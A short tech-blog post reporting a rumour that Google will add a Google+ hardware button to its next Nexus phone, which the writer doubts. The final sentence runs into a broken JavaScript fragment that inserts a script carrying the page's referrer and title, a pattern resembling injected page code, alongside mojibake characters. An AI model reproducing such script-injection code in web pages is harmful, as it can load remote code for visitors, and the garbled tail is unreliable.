Google+ Button Coming To Android Smartphones?

Exclusive social networking features? So hot right now. Whether you’re doing a software revamp with a new focus on Facebook like Sony Ericsson is in the midst of with its Xperias, or you want to go all-out and hook your phones up with a dedicated Facebook button as HTC’s taken to, smartphone manufacturers are no longer content to leave social networking to a stand-alone app. Some new claims now say that Google will introduce a Google+ hardware button for the next Nexus phone.

This information comes via a Facebook page whose creator claims to be getting this information from an “official” Google employee. Such a button would presumably function similarly to the Facebook button on the HTC ChaCha/Status and Salsa, allowing the user to quickly share data from other apps with his or her Google+ contacts.

The source also says that the next Nexus will be an HTC model; this is interesting, since lately we’ve heard a couple times that Samsung would return for that honor. That has us questioning the rumor already, and though Google+ has some great early buzz, it’s probably too early too commit to the service‚Äôs popularity enough to warrant such special treatment from the premiere Android 4.0 smartphone. Maybe Google just really wants to see Google+ succeed, but we’re not sure this is how it would go about it.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);

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